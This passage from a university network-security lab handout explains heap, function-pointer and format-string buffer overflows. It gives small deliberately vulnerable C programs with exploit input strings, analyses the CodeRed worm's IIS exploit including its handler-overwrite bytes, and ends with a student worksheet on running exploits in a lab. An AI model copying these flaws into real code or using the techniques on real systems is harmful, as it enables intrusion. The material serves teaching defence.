system rights to write to C:\AUTOEXEC.BAT. This results in user-rights elevation. In
addition, heap buffer overflows can also generally result in a denial of service allowing
one to crash an application.
Consider the following vulnerable program, which writes characters to
C:\harmless.txt:
#include <stdio.h>
#include <tdlib.h>
#include <string.h>
void main(int argc, char **argv)
{
int i=0,ch;
FILE *f;
static char buffer[16], *szFilename;
szFilename = “C:\\harmless.txt”;
ch = getchar();
while (ch != EOF)
{
buffer[i] = ch;
ch = getchar();
i++;
}
40
f = fopen(szFilename, “w+b”);
fputs(buffer, f);
fclose(f);
}
Memory will appear like:
Address
0x00300ECB
...
0x00407034
...
0x00407680
0x00407690
Variable
argv[1]
...
*szFilename
...
Buffer
szFilename
Value
...
C:\harmless.txt
...
XXXXXXXXXXXXXXX
Notice that buffer is close to szFilename. If one can overflow buffer, one can overwrite
the szFilename pointer and change it from 0x00407034 to another address. For example,
changing it to 0x00300ECB, which is argv[1], allows one to change the filename to any
arbitrary filename passed on the command line.
For example, if buffer is equal to: XXXXXXXXXXXXXXXX00300ECB and argv[1] is
C:\AUTOEXEC.BAT, memory appears as:
Address
0x00300ECB
...
0x00407034
...
0x00407680
0x00407690
Variable
argv[1]
...
*szFilename
...
Buffer
szFilename
Value
C:\AUTOEXEC.BAT
...
C:\harmless.txt
...
XXXXXXXXXXXXXXX
0x00300ECB
Notice that szFilename has changed and now points to argv[1], which is
C:\AUTOEXEC.BAT. So, while heap overflows may be more difficult to exploit than the
average stack overflow, unfortunately utilizing heaps does not guarantee one is
invulnerable to overflow attacks.
1.2.2 Second Generation - Function Pointers
Another second generation overflow involves function pointers. A function
pointer occurs mainly when callbacks occur. If, in memory, a function pointer follows a
buffer, there is the possibility to overwrite the function pointer if the buffer is unchecked.
Here is a simple example of such code.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int CallBack(const char *szTemp)
{
printf(“CallBack(%s)\n”, szTemp);
return 0;
41
}
void main(int argc, char **argv)
{
static char buffer[16];
static int (*funcptr)(const char *szTemp);
funcptr = (int (*)(const char *szTemp))CallBack;
strcpy(buffer, argv[1]); // unchecked buffer
(int)(*funcptr)(argv[2]);
}
Here is what memory looks like:
Address
00401005
004013B0
...
004255D8
004255DC
Variable
CallBack()
system()
...
buffer
funcptr
Value
...
...
ABCDEFGHIJKLMNOP
00401005
So, for the exploit, one passes in the string ABCDEFGHIJKLMNOP004013B0 as
argv[1] and the program will call system() instead of CallBack(). In this case, usage of a
NULL (0x00) byte renders this example inert.
Address
00401005
004013B0
...
004255D8
004255EE
Variable
CallBack()
system()
...
buffer
funcptr
Value
...
...
????????
004013B0
This demonstrates another non-stack overflow that allows the attacker to run any
command by spawning system() with arbitrary arguments.
1.3 Third Generation – Format String
Format string vulnerabilities occur due to sloppy coding by software engineers. A
variety of C language functions allow printing the characters to files, buffers, and the
screen. These functions not only place values on the screen, but can format them as well.
The following program takes in one command line parameter and writes the parameter
back to the screen. Notice the printf statement is used incorrectly by using the argument
directly instead of a format control.
int vuln(char buffer[256])
{
int nReturn=0;
printf(buffer); // print out command line
// printf(“%s”,buffer); // correct-way
return(nReturn);
}
42
void main(int argc,char *argv[])
{
char buffer[256]=””; // allocate buffer
if (argc == 2)
{
strncpy(buffer,argv[1],255); // copy command line
}
vuln(buffer); // pass buffer to bad function
}
This program will copy the first parameter on the command line into a buffer. Then, the
buffer will be passed to the vulnerable function. However, since the buffer is being used
as the format control, instead of feeding in a simple string, one can attempt to feed in a
format specifier. For example, running this program with the argument “%X” will return
some value on the stack instead of “%X”:
C:\>myprog.exe %X
401064
The program interprets the input as the format specifier and returns the value on the stack
that should be the passed-in argument. In this example we display arbitrary memory, but
the key to exploitation from the point of view of a malicious hacker or virus writer would
be the ability to write to memory in order to inject arbitrary code. The format function
families allow for the “%n” format specifier. This format specifier will store (write to
memory) the total number of bytes written. For example,
printf(“foobar%n”,&nBytesWritten);
will store “6” in nBytesWritten since foobar consists of six characters. Consider the
following:
C:\>myprog.exe foobar%n
When executed instead of displaying the value on the stack after the format control, the
program will attempt to write to that location. So, instead of displaying 401064 as
demonstrated above, the program will attempt to write the number 6 (the total characters
in foobar) to the address 401064 and result in an application error message
Knowing how the stack appears, consider the following exploit string:
C:>myprog.exe AAAA%x%x%n
The first format specifier, “%x,” is considered the Return Address, the next format
specifier, “%x,” is ptr to buffer. Finally, %n will attempt to write to the address specified
by the next DWORD on the stack, which is 0x41414141 (AAAA). This allows an
attacker to write to arbitrary memory addresses.
43
2 Cross-Over attacks – Buffer overflow technique in Computer viruses
The CodeRed worm was a major shock to the antivirus industry since it was the
first worm that spread not as a file, but solely in memory by utilizing a buffer overflow in
Microsoft IIS. Many antivirus companies were unable to provide protection against
CodeRed, while other companies with a wider focus on security were able to provide
solutions to the relief of end users. Usually new techniques are picked up and used by
copycat virus writers. Thus, many other similarly successful worms followed CodeRed,
such as Nimda and Badtrans.
The CodeRed worm was released to the wild in July of 2001. The worm
replicated to thousands of systems in a matter of a few hours. It was estimated that well
over 300,000 machines were infected by the worm within 24 hours. All of these machines
were Windows 2000 systems running vulnerable versions of Microsoft IIS. Interestingly
enough the worm did not need to create a file on the remote system in order to infect it,
but existed only in memory of the target system. The worm accomplished this by getting
into the process context of the Microsoft IIS with an extremely well crafted attack via
port 80 (web service) of the target system.
First the IIS web server receives GET /default.ida? followed by 224 characters,
URL encoding for 22 Unicode characters (44 bytes), an invalid Unicode encoding of
%u00=a, HTTP 1.0, headers, and a request body.
For the initial CodeRed worm, the 224 characters are N, but there were other
implementations that used other filler bytes such as X. In all cases, the URL-encoded
characters are the same (they look like%uXXXX, where X is a hex digit). The request
body is different for each of the known variants.
IIS keeps the body of the request in a heap buffer (probably the one it read it into
after processing the Content-length header indicating the size to follow). Note that a GET
request is not allowed to have a request body, but IIS dutifully reads it according to the
header’s instructions anyway. For this very reason,an appropriately configured firewall
would cut the request body (and the worm), and CodeRed could not infect the attacked
system.
Buffer Overflow Details
While processing the 224 characters in the GET request, functions in IDQ.DLL
overwrite the stack at least twice once when expanding all characters to Unicode, and
again when decoding the URL-escaped characters. However, the overwrite that results in
the transfer of control to the worm body happens when IDQ.DLL calls
DecodeURLEscapes() in QUERY.DLL. The caller is supposed to specify a length in
wide chars, but instead specifies a number of bytes. As a result, DecodeURLEscapes()
thinks it has twice as much room as it actually has, so it ends up overwriting the stack.
Some of the decoded Unicode characters specified in URL encoding end up overwriting a
frame-based exception block. Even after the stack has been overwritten, processing
continues until a routine is called in MSVCRT.DLL. This routine notices that something
is wrong and throws an exception.
Exceptions are thrown by calling the KERNEL32.DLL routine RaiseException().
RaiseException() ends up transferring control to KiUserExceptionDispatcher() in
44
NTDLL.DLL. When KiUser Exception Dispatcher() is invoked, EBX points to the
exception frame that was overwritten.
The exception frame is composed of 4 DWORDs, the second of which is the
address of the exception handler for the represented frame. The URL encoding whose
expansion overwrote this frame starts with the third occurrence of %u9090 in the URL
encoding, and is:
%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3
This decodes as the four DWORDs: 0x68589090, 0x7801CBD3, 0x90909090,
and 0x00C38190. The address of the exception handler is set to 0x7801CBD3 (2nd
DWORD), and KiUserException Dispatcher() calls there with EBX pointing at the first
DWORD via CALL ECX. Address 0x7801CBD3 in IIS’s address space is within the
memory image for the C run-time DLL MSVCRT.DLL. MSVCRT.DLL is loaded to a
fixed address. At this address in MSVCRT.DLL is the instruction CALL EBX. When
KiUserExceptionDispatcher() invokes the exception handler, it calls to the CALL EBX,
which in turn transfers control to the first byte of the overwritten exception block. When
interpreted as code, these instructions find and then transfer control to the main worm
code, which is in a request buffer in the heap.
The author of this exploit needed the decoded Unicode bytes to function both as
the frame-based exception block containing a pointer to the “exception handler” at
0x7801CBD3, and as runable code. The first DWORD of the exception block is filled
with 4 bytes of instructions arranged so that they are harmless, but also place the
0x7801CBD3 at the second DWORD boundary of the exception block. The first two
DWORDs (0x68589090, 0x7801CBD3) disassemble into the instructions: nop, nop, pop
eax, push 7801CBD3h, which accomplish this task easily.
Having gained execution control on the stack (and avoiding a crash while running
the “exception block”), the code finds and executes the main worm code. This code
knows that there is a pointer (call it pHeapInfo) on the stack 0x300 bytes from EBX’s
current value. At pHeapInfo+0x78, there is a pointer (call it pRequestBuff) to a heap
buffer containing the GET request’s body, which contains the main worm code. With
these two key pieces of information, the code transfers control to the worm body in the
heap buffer. The worm code does its work, but never returns - the thread has been
hijacked (along with the request buffer owned by the thread).
Exception Frame Vulnerability
This technique of usurping exception handling is complicated (and crafting it
must have been difficult). The brief period between the eEye description of the original
exploit and the appearance of the first CodeRed worm leads us to believe that this
technique is somewhat generic. Perhaps the exception handling technique has been
known to a few buffer overflow enthusiasts for some time, and this particular overflow
was a perfect opportunity to use it.
Having exception frames on the stack makes them extremely vulnerable to
overflows. In other words the CodeRed worm relied on the Windows exception frame
vulnerability to carry out a quick buffer overflow attack against IIS systems.
The information on this document is based on sources in Symantec’s website and
PHRACK magazine.
45
Names
Group
ECE 4112 Lab 4 Buffer Overflows
PLQ1: According to the article, what are the common problems with C/C++ which
allow buffer overflows?
Section I – Experimentation
The Stack Region
1) Draw a diagram of the memory stack at the time that function is called.
Overflowing a Buffer
2) What are the results of executing example2? Why?
Understanding Return Pointer Redirection
3) How did you modify example3.c to successfully redirect the pointer?
46
Shellcode
4) Why is it important to eliminate null characters?
47
5) How were we able to modify the assembly code to remove null characters?
Writing an Exploit
6) exploit2 successful buffer size and offset or ten attempts and reasoning:
7) exploit3 successful buffer size and offset:
8) Why was it so much easier to utilize exploit3?
9) What changes did you make to vulnerable.c?
Section II
imapd
9) imapd-ex successful offset:
10) What privileges did you gain on your Virtual Machine by running the exploit in Red
Hat 7.2?
48
Section III – Common Vulnerabilities
11) What is the cause of the behavior in adjacent.c?
12) Modify adjacent.c to remove this “undesired” behavior
13) Modify cmdline.c to remove this vulnerability
14) input successful buffer size and offset:
15) remote.c successful buffer size and offset:
Section IV – A Contemporary Vulnerability
16) Include text file and screenshot
17) What steps could a system administrator take to prevent this vulnerability?
Section V – Libsafe – A preventive measure to buffer overflow
18) Include text file
49
18) How long did it take you to complete this lab? Was it an appropriate length lab?
19) What corrections and or improvements do you suggest for this lab? Please be very
specific and if you add new material give the exact wording and instructions you would
give to future students in the new lab handout. You may cross out and edit the text of the
lab on previous pages to make corrections/suggestions. Note that part of your lab grade is
what improvements you make to this lab. You may want to search the world wide web
for other Buffer Overflow examples. What tools can we add to this lab that teach
something else new? You need to be very specific and provide details. You need to
actually do the suggested additions in the lab and provide solutions to your suggested
additions. Caution as usual: only extract and use the tools you downloaded in the safe and
approved environment of the network security laboratory.
Attach to your submission:
Output of exploited cmdline
Output of exploited remote
Output of exploited WindowsXP
Screenshot of crashing WindowsXP and text file
Libsafe text file
50
Download